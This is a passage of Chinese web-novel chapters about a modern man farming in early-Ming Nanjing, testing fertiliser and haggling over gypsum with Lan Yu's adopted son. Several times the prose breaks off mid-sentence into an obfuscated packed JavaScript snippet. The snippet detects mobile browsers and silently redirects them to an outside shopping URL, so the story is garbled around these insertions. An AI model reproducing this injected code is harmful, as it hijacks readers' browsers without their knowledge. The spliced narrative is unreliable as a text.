“我们也不用等到它出豆子,只要看清它的长势就行,花不了多少时间。”朱安宁也是补了句:“好了好了,休息好了我们继续!” 朱安宁唤了一句,几人也是又重新坐好。 很快院中,又只剩下朱安宁的说话声。 第八十七章 买石膏啊?我高价卖你? 朱安宁正在挥汗如雨地挑着水……刚才他还进行了除草作业。 本来,他是不用这么苦逼的。 只因他早上时分,不怎么清醒的他,脑抽地说了句。 “啊,你们三也跟小燕和小周去院外下下田吧,算是实地学习下。” 他对着正准备去院里那些田地劳作的李景隆三人喊了句。 然后…… 就没有然后了。 在院子里坐了几分钟的朱安宁,蓦然地觉得,是不是有点过于安静。 啊,原来是院里的田地没人干活啊…… 那……地是要浇的吧,草是要除的吧…… 好像只有自己干了吧。 于是,本来闲得挺舒服的人,突然又忙了起来。 唯一值得高兴的是,他的实验地,整得还算不错。 豆苗的本就长得快,子叶脱落,真正的叶片很快就长了出来。 对照组和几个实验组,他是种得明明白白。 至于前些日子他说的那氮肥,托戚祥回城,买了些石膏,然后用两话西游记换了些童子尿……孩童们一边听他讲故事,一边猛灌水,很快就收集够了实验的部分。所以这土肥料矿肥也很快就做好了。 农家肥,河泥,草肥,草木灰,骨粉也是顺利备好了,唯有鸟肥那是相对难搞,朱安宁也就懒得弄了。 总不能现在明朝就让朱安宁去智利那里掏鸟粪吧……这难度太高了。 不过朱安宁也就匆匆看了两眼而已,毕竟,现在这院子里的地,那是全靠它伺候了……完了晚点还要给那几人整饭…… 靠,自己都这么多银子了!为什么不招仆人啊!!! 哦,院子里有太多秘密…… 本来越想越生气的朱安宁,看了看远处的房车,又看了眼脚下的新粮,也只能无奈地叹气。 幸好今天的天气尚阴,没有太过炽热,不然他的火气,会更大。 “哎呀,不行,得让他们轮着去跟学,不然活根本干不完……”坐回房车帐篷下的朱安宁,喘着粗气,已经做好了新的盘算。 至于中午吃些什么,懒得折腾的朱安宁,准备的是蛋炒饭。 鸡蛋面他们会吵闹,蛋炒饭总不会了吧,不行大不了下多点味精和辣椒粉……他们就爱吃这些。 结果他才刚把米淘好,点着炉子煮着。 院门就被推开。 是朱棣他们回来了。 “这么早?!” 朱安宁惊讶地看着衣衫还算规整的几人,那是相当惊讶。 “渠的话,庄里的人都挖熟手了……就是我们告诉下他们往哪里挖就行……然后插秧的话,五弟说要等施肥……” 朱棣一边走进来,一边回答了朱安宁的问题。 扛着农具的他,说是个地道的农民,相信也没人会反对了…… 只不过眉眼间的英气,那是农具都掩饰不住的。 “对……庄里的肥,还是没有备够,我清点了下……实在不行,就只能用河泥了。”朱棣也没有顾及那么多礼节了,他坐到朱安宁身边,就是给自己倒满了一杯冰水,一口焖了进去。 “不行,淤积有河泥的那个弯道,已经被我们挖过一轮了,再挖已经没什么意义的……怎么会不够的呢?我们不是早就提前备了些了么……” 朱安宁有些麻。 第一次觉得耕田这么麻烦。 还是现代好,犁地突突突,肥料哐哐丢…… “地太多了……”是李景隆在旁边补了句:“先生你别忘了你后面又买了些地的……” “对哦……”朱安宁无语地挠了挠头:“那只能做点矿肥了。” 他也没有非常慌。 毕竟今早他浇水时,看了院子里的豆苗,相信对比已经足够明显了。 听见朱安宁的话,朱橚是反应了过来,他连忙跑到了院里的地那,看了起来。 其他人见朱橚这动作,也是知道他去干嘛,也连忙跑了过去。 “先生,加了您说的那矿肥,确实效果和加了普通肥料的长势接近!只浇水的长得不行啊!” 朱橚叫了出声,预示着这场实验其实已经成功了过半。 关于氮磷钾的区别,还未完全展示。 但是有肥料和无肥料的区别,是比较简单就能鉴别的。 “所以我们只要做多些这矿肥,就能把补齐我们插秧前的肥料了!”朱棣也是欣喜了起来。 说起来朱棣和朱橚是全程基本都在院外劳作的。 比起院内三人组,他们当然是更为关心这永乐庄的收成。 朱安宁听见众人的讨论声,也是笑了起来:“怎样?我没诳你们吧,这几晚我教你们的东西,好好记着,听见没,到时办好了乡学,你们就要当先生了!” “我自然是信先生的。”朱橚远远行了个礼,却也遭到了剩下那四人的鄙视…… 最多问题就是你,现在说信的也是你…… 真不愧是你。 “不过现在最大的问题是,去哪整那么多石膏啊。”朱安宁也是缓步踱到了田边,蹲了下去。 “不只是石膏,尿呢?” “呃……小燕小周,你们 发动乡亲们多尿……然后……呃,三江,你……你负责收集下吧。” “我?”李景隆指了指自己,那是一脸的错愕,怎么也没想到朱安宁会把这个艰巨的任务派给他。 刘廌和刘畾,则同情地拍了拍他的肩膀,示意他加油。 “至于石膏的话,戚叔告诉过我可以去哪买。”朱棣转了转眼珠,想起了了什么似的,开了口。 “不要告诉我是中药铺子,我们不需要质量那么好的……而且可以入药的石膏也贵……” “不是中药铺子,戚叔说了,咱们应天府外最近开了口矿,挖的就是石膏,产量可大了,我知道去哪整,朱哥什么时候想去?” “小燕你知道的话,吃过饭我们就出发吧……再不插秧,这时节都过去了。” “好!”朱棣应了声,然后又补了句:“中午吃什么?” “蛋炒饭!!!“ “哎,也好。” “哎什么,不想吃自己煮。” “我没有说不想吃啊!而且我们几个哪会做饭,做出来的东西,怕是狗都不吃……” “哎,你们几个,才是爷啊……” ———————————————————————— 官道尽头就是城门。 朱棣也好,朱安宁也好,那都是熟门熟路的了。 只不过,今天进城,可就不是去买菜了。 朱棣领着朱安宁,往人流量最大的大街挤了过去。 这街上,那真是商贾云集。 摊贩和行人,那差不多都快要挤到了一起。 要不是朱棣和朱安宁都是年轻力壮,还真不好在这街上挤来挤去。 明初,已经休养生息了好些年。 就算古代再重农抑商。 商品的流通依旧是社会运作的重要一环。 更不用说应天府这地界,政治经济中心,需要巨量的物资才能维持这个城市的正常运作。 也就催生了这条商贾街市。 实际上,这街,很多产业都是爵爷们的。 正儿八经的商人,占比并没有太多。 比如现在朱棣正准备前往的店铺,正就是永昌侯家的产业。 两人费了不少力气,才从人流中脱身出来,进到了店内。 只见店内立马就有人上前来招呼。 “两位是需要些什么呢?” 朱棣也懒得看店里呈列的东西,直接就开了口:“石膏,听闻永昌侯店里石膏多,我这边需要的量也大,你换个能说话的人出来吧。” “敢问客官需要多少?”那伙计虽然没有马上听从朱棣的命令,但也还算有礼貌地询问了下。 朱棣刚想开口,却也突然想起了朱安宁还在身后,便回头给了个眼神。 朱安宁也知道是在询问自己用量。 他也懒得算得太细致,毕竟肥料这种东西,用量巨大,且到处都需要,有备无患。 “十石是要的,就看你们有没有那么多。” 朱安宁报了个数,却也是把朱棣和那伙计都吓了一跳。 什么动静。 十石? 只见那伙计确实是绷不住了,他面露惊色地行了个礼:“二位爷,请在这坐着歇会,我这就去找能说上事的人来接待二位。” 伙计急匆匆地跑走,留下朱棣这朱安宁。 而朱棣,也是终于忍不住,开口问道:“朱哥!我们用得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有说是蓝玉太过嚣张,但是朱安宁更愿意相信,是因为朱标死了,朱元璋必须要杀掉这个朱标头号单推人,仅此而已。 但是这又关自己这个应天府郊区永乐庄小地主什么事呢? 自己只想安心地买点石膏罢了。 靠,早知道不报那么多了,慢慢买不就没那么多事了么。 别把蓝玉那些义子都给惹出来,蓝玉一案,他的义子们也是【功】不可末啊。 “哎,跟这些大人物打交道,还是麻烦。”朱安宁也没办法对朱棣解释太多,只能含混地说了两句。 再说回那个小伙计,他走到屋内,找到了一名正在喝茶的年轻人。 “爷,外面有人说要买十石的石膏。” 那年轻人本就是在吹着茶。 听小伙计一说,那是手抖了下,茶不可避免地烫到了手指。 却也因为自尊心作祟,强行没有叫出来。 他咬着牙,挤出了两个字。 “多少?” “十石。”小伙计又恭敬地报了一次。 于是,他终于可以吸一口凉气。 “我去接待,你把这事先报回府上。” 年轻人故作镇定地把茶杯放回了桌面,给那小伙计下了命令。 待到小伙计离开,他才惊叫出声。 “呔!烫啊……十石!”他有点语无伦次,却也很快就镇定了下来。 这些日子,蓝玉不是很开心,因为不少佃农都在闹事,要求降地租。 他帮忙打理了不少这样的破事,对,物理上的打,和讲理。 结果就是,蓝玉交代的,石膏的售卖,也搁置了些时日。 今儿,好不容易有了个大客上门。 那必然,是要好好宰一刀的了。 呵呵。 蓝梁,阴仄仄地笑了声。 反正周边能拿出那么多石膏的,就只有自己了。 卖个好价钱,在义父面前,也有面子,不是么。 第八十八章 压价不宜太狠,压50%就好 “小燕……就没有其他地方可以买这石膏了么?” 朱安宁坐在那里很是蛋疼。 毕竟他又不能直接告诉这伍燕,蓝玉未来是要被杀头的,最好不要和他扯上关系…… “朱哥,要按您的量买……除了这地,没地方可以买了啊,不要去搜刮下中药铺子?”朱棣看出了朱安宁的不自在。只当他是不太喜欢来这种风评不好的勋贵店里置物。 “那得买到猴年马月去啊。”朱安宁是白了一眼朱棣,他也知道自己需要的量大,按中药铺子那几两几两的算法,那真的是把应天府的药用石膏都给买光了,怕不是也就只能用到几亩地里,突出一个杯水车薪。 “所以说啊……朱哥莫要慌,侯爵也好公爵也好伯爵也好,人家都是开店做生意的,没事的。” “希望如此吧。”朱棣的安慰,多少起了点作用,朱安宁是无奈地叹了口气。 “对了,戚叔给的石膏价格,应该没问题吧。” “没问题,戚叔在这些事情上,从来不出纰漏。” “行,有个底价我心里安稳点。”朱安宁听完朱棣的回答,正准备闭目养神一会。 却没想到那通往后堂的帘子,一下就被掀了起来。 有人开门做生意,那是互惠互利。 有人开门做生意,是为了双赢,最好自己赢两次那种。 蓝梁已经做好了盘算。 鱼儿很大,感觉很肥,所以他甚至没有处理被烫到的手指,就赶忙出到了屋外。 那朱棣和朱安宁,其实也没坐下多久。 两人就看着身材魁梧的蓝玉义子,蓝梁,从后堂跑了出来。 那衣着一看就比刚才的小伙计高级。 所以两人自然也就默认了这大概就是店里的渣fit人了。 而蓝梁,并没有认出朱棣来,同样的,朱棣也不知道眼前的人就是蓝玉的义子。 毕竟,蓝玉的义子少说几十人,总的来说,地位其实并不高…… “让两位久等了,刚才家中的伙计已经告诉我了,两位需要大量的石膏?” 蓝梁规矩的行了个礼,倒也算是个礼数周全。 朱安宁和朱棣也没有怠慢,也是回了个恰当的礼,然后才开口。 “您就是店里的掌柜吧。”朱安宁开口问道。 而朱棣自然地后退了一小步,没有僭越。 “正是,您这边如果需要大量石膏的话,我们这边也需要备一备货呢,说不定呀,不一定有那么多呢。” 蓝梁开口就是货不足,那副笑脸是突出一个真诚,明明身材魁梧,却依旧不会让人有压迫感。 老有掌柜范了。 朱安宁那是听得愣了愣,又顺势看了眼那蓝梁的表情。 很是确认自己现在是在古代。 怎么有一种回到了现代在上班接洽客户的既视感呢…… 不就是想抬价么? 这话术是不是自古以来的啊。 这掌柜的说话,和那些表情真挚,说话好听,实际上却是满嘴跑火车的业务员们怎么那么像呢?! 于是,朱安宁也很快就进入了状态。 虽然在农庄里蹉跎了些岁月,但是作为社畜中的畜生,他的感觉一下就回来了。 他的表情,一下就摆得比蓝梁的还板正。 白莲花似的笑容,端在了脸上:“啊,这么不巧啊……我那里原本是有很多存货的,只是想着再备多点而已,您这如果不够数的话,那就算了吧。” 这一番说辞,不禁把蓝梁给整得有点懵了。 连朱棣都是一脸茫然。 怎么我们就有很多存货了? 是自己错过了什么么? 只是,朱安宁并没有多余的表情,他就是微笑着,掸了掸袖角,一副就要站起来的模样。 “那这样,掌柜的,您这边呢就先备货,我呢,先去别家寻寻,如果这应天府啊,真的没多少货源的话,那就算了,我先用着我的存货先。” 朱安宁的话很简单,表达的就是,他其实有不少石膏,就是想要再要多点,而且自己每次要的量都不少,如果这次买不到,自己也不急。 两人的博弈,其实从蓝梁开口说话的那一瞬间,就开始了。 看着作势要站起的朱安宁,蓝梁那是一时拿捏不定虚实。 他也算是经营店铺许久,虽然卖过的东西也不少。 但是这石膏啊,算是他们永昌侯家的新货物,那经验确实是要薄弱些。 他现在就完全拿捏不定眼前这人是否真的有那么多存货……还是单纯就是框自己而已…… 于是蓝梁也强行绷住了自己的表情,连忙又行了个礼。 “诶,实在抱歉,家里的石膏都是新挖的,确实量不是很够,您这边开口就是十车,有点多啊。” 他顿了顿,又继续接了下去:“但是,咱也不怕夸开口,应天府这地界,应该就咱家有这石膏矿了啊,其他地方应该是采购不到的了,您如果不是急需啊,其他店其实不用看了,他们提供不了那么多货的。” 这一番回话,也算是有点水平。 既点明了自己在应天府的垄断地位,也直接表明 了其他店的量都很少。 而这种话术对决。 不免让朱安宁有些激动。 当社畜的时候,很烦。 但是不当社畜了,脱离了那些生活,突然又有点想念。 横批:人就是贱。 而和这蓝梁的你来我往,让他重新找回了感觉。 两人都笑得眼睛都眯了起来。 只有朱棣站在一旁,不知道该摆什么表情好。 四皇子同志并非是什么小白兔,要说城府和心计,能打穿靖难战役的他,绝对是不差的人。 只是这些商战黑话,哪是他能听懂的…… “其他店也没有了啊。那算了吧,我也不是很急,急的话,我从江城那边拿货也不是不行。”朱安宁像是在回答蓝梁,又像是在自言自语。 那副沉思的表情,非常具有迷惑性。 江城不过是朱安宁随口胡诌的而已,武汉在南京的上游,那里有没有石膏矿,朱安宁根本就不知道……他又不是地质专业,他只是随口选了个离南京比较远的城市,但是水运又比较发达的那种,这样才能让这掌柜不好查证的同时,又忌惮他说的是真的,能随时水运下来的话,自己这所谓的垄断地位,就失去意义了。 朱安宁的表现太过沉稳。 没有怎么卖过石膏的蓝梁,是多少有些急了起来。 其实自家的石膏矿是不愁销路的。 成品好的,那中药铺是求之不得。 品相差些的,拿来糊墙或者做些其他东西,也是需要大量使用的啊。 只是这些销路,都在蓝玉的其他义子手里,他一直没有打通属于他自己的销路。 今儿就是来店里休息下,难得遇见个看起来就像是个能长远买他石膏的人,他怎么能淡定。 能有来有回地和朱安宁来这几下,都算是他职业素养够高了…… “这位爷请留步,货要备足,确实是要时间,但是我这边能有办法加急,就看您这边出价怎么样了?” 他咬牙,决定先把人留下来再说。 这番话出口。 正欲拉着朱棣往门外走的朱安宁,那是微不可闻地,扯动了下嘴角。 小样。 话术这种东西。 我也背的不少。 不过最后没有在销售岗待太久而已。 这一轮交锋,明显就是以朱安宁的胜出而告终。 “一百五十两吧,我不需要品质很高的,能糊墙的那种就行了。”朱安宁转过身笑了笑。 说出来的价格,却让蓝梁倒吸了口气。 这比市价足足低了一半…… 什么狮子大开口。 但是已经开口挽留,那这价,大概还是有的聊吧……大概。 “您是做工的?”蓝梁走了过去,做了个请的姿势,把朱安宁和朱棣请回了店里的桌前,给他们倒了杯热茶。 “算是吧,江苏蒯家您认识么?大工匠啊,他们那一圈子做建造可都不错啊,我这边会给他们供点东西。”朱安宁眯眼一笑。 那话里那是有假有真。 蒯这个姓氏可不常见,朱安宁赌的就是这蒯富等人,在应天府应该已经有了知名度才对。 果不其然。 蓝梁的眼睛也放大了些,然后是连忙低下了头颅,掩盖自己的惊讶。 “江苏蒯家?那不是其他兄弟说过的宫里的匠人么……前些日子还大量采购 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378692|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了不少木材。原来这小哥和蒯家那批匠人还有关系,怪不得要那么多石膏,这东西除了入药,那不是糊墙就是装饰。” 蓝梁在心里想道。 却也是更放低了些姿态。 永昌侯蓝玉,和宫里关系其实挺好的。 但是并不代表作为蓝玉众多义子中一员的蓝梁,他能和宫里攀上什么关系。 他不过是蓝玉收来打理生意的普通人罢了…… 现在看起来有个长期且稳定,还和宫里有关系的客人摆在他面前。 他知道,是时候要好好争取了。 因为蓝玉义子众多,他虽然能力不错,但是终归是在很多地方,没有办法赢过那些关系网经营得更久的老牌义子们…… 这让他多少有些焦虑。 “怪不得您要那么多石膏,这是一百五啊,确实有点低了啊。”蓝梁呵呵一笑,笑得有点抖,茶水都洒出了些许,被他赶紧拿抹布搽去。 “低?不会吧,我在江城那边,也差不多是这个价啊。” 朱安宁一副人畜无害的样子。 蓝梁却也在心里骂了出声。 前面的那些话,他不好判断,但是江城能卖这么低价? 他怎么就不信了呢……这家伙就是想拿低价! “爷,您看哈,我也就是个掌柜的,您能进到我这店里,应该也是知道背后真正的东家是谁,我这边就直接给您交个底吧,两百,没办法再少了,再少,我也没办法交代了啊。” 只能抬自己的后台出来了,蓝梁只希望对方不要杀价这么狠了。 其实来到这一步,朱安宁已经赢了。 算是省下了一百两的银子,虽然他现在家底殷实,但是还是能省则省吧。 “行的,咱们拟 个契?”朱安宁也咧嘴笑了起来,这次可是真诚的笑容了。 其实刚才在和蓝梁杀价的时候。 他就已经在心里默默盘算好了各种物价。 肥料终归是要用来种地的。 如果肥料最终的效果没能匹配得上他的价格,那也是亏的啊。 他估算大概两车的石膏,就能兑出足够的肥料供自己永乐庄用上这一季。 当然,还是得掺上些钾肥和磷肥。 如果总产出能提升80石,才能勉强比平这辆车石膏近40两的费用。 平均下来一亩地要提升差不多0.5石的产量,要说有没有自信,朱安宁是有的。 合理使用肥料对产量的影响是巨大的,这毋庸置疑。 但是要说绝对自信……他又没有正儿八经实践过…… 所以,能杀价就杀价! “好嘞。”蓝梁又是高兴,又是苦闷。 这笔生意,其实钱赚得不多,但是他是真心希望能打通朱安宁这条渠道的。 宫里的生意啊! 只是他没想到的是,朱安宁根本就不是用石膏来糊墙……他是用来做肥料的。 但是要说是宫里的生意,好像也是。 “您叫我蓝梁就行。” 蓝梁?完蛋,这姓,果然是蓝玉义子。 但是看着人好像性格没有特别霸道……还行还行。 朱安宁也连忙报上了自己的名字。 “朱安宁。”他行了个礼。 结果却把蓝梁惊得差点跳了起来。 “您是永乐庄的?” “啊,蓝掌柜你怎么知道?” “啊……就……就是应天府都在传,说郊外新建了个庄子,那庄主朱安宁乐善好施是个好地主……啊,没想到您这么年轻。”蓝梁连忙用话语来掩饰自己的惊讶,他总不能说自己去永乐庄探过农民的口风吧。 “啊?我已经这么出名了么?”不好不好……以后得低调点,人怕出名猪怕壮啊,朱安宁在心里给自己提了个醒。 “呵呵,善名远扬啊。”蓝梁也是连忙接了句,然后摸出了张契约,开始写了起来。 “蓝掌柜,既然您答应卖了,那我想越快越好。” “您那不是还有货么?” “有是有,得从外地调。” “……”果然,自己好像着了道……但是也没办法了,蓝梁在心里安慰了下自己,然后才继续开口:“那后日交付可否?” “甚好,甚好。” 第八十九章 我朱安宁,说的句句都有实话! 契约的拟定,花了不少时间。 主要是朱安宁看繁体字有点慢…… 因为没有标点符号。 真是看的朱安宁一个头两个大,恨不得马上在这明初把标点符号推广开来…… 而后续,他还和蓝梁商量了些关于石膏品质和如何送货之类的问题。 当两人笑哈哈互相行礼的时候。 都得到了对方的一些承诺。 “朱爷,您会在我这里长期购买吧。” “那当然,像蓝爷你这般实诚爽快的人可不多见了。” “哈哈哈哈。” 两人一起笑了起来。 唯有朱棣露出了鄙夷的神色…… 在蓝梁的陪伴下,两人终于被送出了门店。 而大街上,人流如乱麻。 朱棣的思绪也是。 他们很快就挤到了桥上,那边人相对少点。 可以让两人驻足。 他们脚下的秦淮河静静地流淌着,小舟泛过河面,点起涟漪。 靠在桥上栏杆边的朱棣,终于问出了憋了许久的问题。 “朱哥……刚才在店里,你们两个是一句实话都没说吧?” 而同朱棣一起,站在桥上的朱安宁,并没有马上回话。 他还在远眺秦淮河尽头的那些场所,感叹自己阅历还是不够,没能去一趟……真是可惜了…… “怎么一句实话没说,我句句里面都有实话!”他随口回应了朱棣的疑问。 “什么江城有石膏……” “江城肯定有石膏啊!这我哪没说实话,我还没掏钱买下来而已。” “另外说什么认识大工匠……” “大工匠不够给我们造宅子了么,我是认识啊!” “呃……”朱棣一下就被朱安宁说得没了脾气。 确实,这些都是实话…… 但是怎么想怎么不对劲。 那个蓝梁也是……朱棣是提前和戚祥打听过的,永昌侯那边的石膏矿产量可足了,基本是买多少有多少那种……哪是那蓝梁说的要备货物。 “小燕啊,这叫说话的艺术,嘿嘿,这可是行商必备的技能哦。” 朱安宁笑呵呵地趴在桥边的栏杆上,说道。 这话也是让朱棣想起了朱安宁那个明面上的身份,西域行商。 桥上相对街上,要清静些。 只是远处的吆喝,还是一阵接一阵。 作为都城的应天府,还是很热闹的。 “那您就不怕他真就不卖了?或者继续抬您的价?要知道整个应天府就只有永昌侯家的店里有足够的石膏啊。”朱棣还是有些不解。 “开店就是为了卖东西,只要他不是真的亏钱,他就会卖。” 朱安宁叹了口气,叹的是,自己的夜生活,现在只有几个精壮的年轻男子……真是……太不像话呀。 至于朱棣提出的问题,他只觉得这小燕真是年轻。 “我给了价给他,他后面不是还价了么,那二百两,他是有得赚的了。” “但是最开始您也报得太低了吧……换我就不卖了,哪有人上来就给这么低的。” “所以小燕啊,你不适合做生意……那个蓝梁,就是经商的人,报价还价,不过是商量而已,双方能谈妥生意就成了。小到街市买菜,大到国家政事,都是经营,哪来那么多真心实意的话。如果他是个愣头青,真的不卖我了,大不了让小周过来买点嘛……而且价格真的太高的话,这石膏就得不偿失了啊。” “啊?得不偿失?” “呼……你别忘了我们买石膏是为了干嘛。” “做肥料啊。” “然后呢?” “让地里有个好收成呗。” “那收成的粮食,如果还摊不上那石膏的价格,我们不就亏了么!” “哦,我都没想这么多!” “啧,小燕啊,你要学的东西还很多啊,天天嚷嚷着要去海外搞香料,就你现在这水平,买卖香料怕不是连裤衩都亏掉……” “裤衩是什么?” “呃……就是指亏得很惨的意思。” “但是如果我不是去买卖呢?” “你什么意思?” “我造些大船打过去,沿途都被我打服了,我不就不会亏了么。” 朱棣说得理所当然。 让朱安宁一时噎住,这是什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378693|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿美莉卡思想……要不得啊要不得,按这个思路,军费支出得多大才能维持啊。 所以,朱安宁无语地拍了拍朱棣的肩膀。 “首先小燕,你是个地主家的儿子,不是洪武爷的儿子,不要老是想着打打杀杀,怪吓人的……另外你的思路有点问题……” “有什么问题,打服了香料就是我们的啦!” “嚯,一副自己是什么征北大将军的语气是吧,我就问你,如果你是将领,打完了你是不是得派军队去驻守,不守,谁给你香料?谁给你货物?” 朱安宁抬腿走下了桥梁,去到了街道的另一边。 而朱棣自然也是很快跟上。 “对啊,派点军队,都打服了还怕他们造反?” “当然怕啊……你是不是傻,你 只管要人家的东西,又没给人家好处,人家不造反啊,换你你也造反吧,那些产香料的地,都是需要大船才能过去的,你的军队能经得起多久的消耗,退一万步来讲,驻军也是要花钱的啊……” 朱安宁翻了个白眼。 治安战,老美都打不明白,被各种拖鞋哥乱杀一通,就你这地主傻儿子还想玩征服,真是乐。 “那朱哥,就只能老老实实去和那些外民做贸易?” “那不然呢,贸易是最简单的互惠互利的方式,但是,谁拿九成,谁拿一成,这里就有讲究了嘛。” “朱哥细说,细说。” “干嘛啊!你一农户真的要去参军啊,咱们大明现在也没有什么真二八经的海船啊。” “您说的我挠心挠肺的,又不给我法子说怎么办,哪有这样的。” “嚯,你这是当故事听是吧。” “权当您是给我讲个故事也不是不行。” “好好好,法子很简单,羁縻政策知道吧。” “知道知道……呃,朱哥,你不会就是想对海外的那些域外国家也采取这种做法吧……” “肯定不是啊,羁縻政策,我们可以改良下嘛。” 朱安宁和朱棣,正往城门外走去。 而此时,某个大爷正带着另外一个大爷,刚从皇城的侧面悄咪咪的走到了街上。 方向,也是城门。 第九十章 给我粮,我能炒翻地球! 陪着朱元璋的是李善长。 本来朱标也是想要出宫去见见朱安宁的。 但是,随着北伐一事的正式启动。 徐达、汤和、李文忠、刘伯温和他一等人,都抽不开身。 而早就退居二线的李善长,反倒是可以和朱元璋跑出来。 “善长,北伐大事,你不说两句?就这么和我跑出来了?”在无人的小道上,早就换好装的两人,正在往大街上走去,朱元璋却也趁着走路,突然提了个问题。 这种问题,换做一般的臣子,可能就是老实回答自己已经退下来了之类的云云。 而李善长是谁,他可是老朱底下的打工第一人…… 只见他不慌不忙,捋了捋自己的胡须,才悠悠地说道:“上位,您指定的方策,那是已经万无一失了,老臣哪还有言语的地方,而那些细节部分,恕老臣已经多日没有统管实际事务,贸然开口,恐怕更不合适,就由太子带大家伙商讨便是,太子能力出众,定能将上位的方策执行到位。” 一轮空话,那是同时拍了朱元璋和朱标的马屁,又把自己摘了出去。 反正他现在就是打死都要做个不理实事的文官之首。 多听多看,不出声,这样最安全。 反正自己手下已经提拔了那么多人,只要自己还站在朝堂那里,那便能保自己安全无虞。 最多就是朱老板找自己聊事情的时候,自己发表意见便是。 上朝的时候,那是不能多嘴的了。 朱元璋听见李善长的回答,那是微不可查地笑了笑,没有言语。 两人很快就拐到了大街上。 烟火气十足的主街道,满是行人。 他们两大爷混在里面那是毫无违和感。 到了主街道,朱元璋才继续开口。 “老韩啊……”他换了称呼,毕竟京城人多:“你可知道今天为何又拉你往郊外走啊。” “回伍爷,那肯定又是和那安宁小哥有关吧。” 李善长马上切换了称呼,两人的默契,还是足够的。 “这不是废话么,难不成我们真的出城去郊游啊。”朱元璋笑骂道:“前些日子他提的法子,咱们已经起了个头了,就等他的粮了,你就不怕到时那些粮出不来,咱们前期的事情都白干了么。” 既然老板都在笑,那肯定还是有把握的啦。 “伍爷一副这么有把握的样子,我哪还需要担心啊。”李善长微微一笑,那样子也很是笃定。 “哈哈哈。”朱元璋也没有掩饰,他哈哈大笑了起来:“这段时间,戚祥那边与我说,那安宁小弟,准备办乡学。” 朱元璋看似无缘无故地忽然切换了个话题。 不知内情的李善长,再能接话,也不由得愣了愣。 “乡学?”他皱起了眉头:“伍爷,乡学,和咱们的计划……能有什么关系啊……” 虽然一个新的小庄子搞乡学,在应天府也算得上是件新闻。 但是对于他们这个等级的人来说,那确实是小事一件…… 看见李善长的反应,朱元璋那是笑的更欢了。 很好,李善长没有僭越自己,去刺探过永乐庄的事情。 看见李善长一副真不知情的样子,朱元璋再次开了口:“据老四老五传回来的说法,他这乡学,似乎对孔孟之学,四书五经,程朱理学,不怎么上心,反而是说要教庄里的孩童们些实际的东西。” 这话语说下来,李善长就更懵逼了。 虽然他在元朝时期,就是个进不了学的读书人。 但是怎么地,他也是个正儿八经的读书人啊。 怎么,现在这么野了么?办学不学正道了? “伍爷……不学孔孟……他是想教什么离经叛道的东西?” “谁说不学。”朱元璋顿了顿:“只是,他把重心放到了农学上。” 这个词有点新鲜,但是也不算难理解。 李善长是疑惑出了声,怎么也想不出,学堂里面学耕田是个什么玩法…… “农学?耕种?” “对,就是学耕种,而且他已经先一步开始教老四老五他们一些东西了……据说,非常有意思……” “伍爷……恕我孤陋寡闻,耕种这种事情……有必要到学堂里去学么?”李善长很不理解,所以他大受震撼。 其实不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378694|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要说他。 朱元璋昨日听戚祥回来汇报情况的时候,也是大受震撼。 他震撼的是。 里面详细记录的,朱棣和朱橚的笔记。 那些看似晦涩的内容,什么磷肥骨粉开花结果,草木灰钾肥能促高之类的。 朱元璋搜刮出了小时候的记忆,发现……这些说法和效果,居然都对得上。 只是,这个总结的措辞,也太晦涩了吧……什么氮磷钾……氨又是什么? 而且最后笔记中的,矿肥? 石膏能做肥料? 看记录,他们居然还种了豆苗去试,这矿肥是有效的??? 朱元璋作为农民的儿子,确实是大受震撼。 本来以为朱安宁提交的那些方策,水利,农事的书籍,已经是惊为天人了。 怎么现在又搞出了这些花活啊。 要是石膏真的能作肥,按照笔记中的,提产一石轻松有余……那自己还怕个鸡毛啊。 全国那么多地,每块地都能多一石,那…… 朱元璋是巴不得马上把这肥料试出效果来,然后call齐兵马去北方和那些余孽决战。 李善长哪知道朱元璋内心的激动。 他只是按照自己的惯性思维,觉得农,虽然重要,但也就是那样。 两人继续走在大道上,朱元璋还沉浸在自己的yy之中,李善长的提问自然没有马上得到解答。 而很快,出现在他们眼前的是。 朱安宁和朱棣。 刚和蓝梁签完契约的两人,也恰好走到了城门口。 两拨人目的地一致的人,就这样,在门口相遇了。 “诶?伍爷,韩爷,这么巧?” 是朱安宁率先打的招呼。 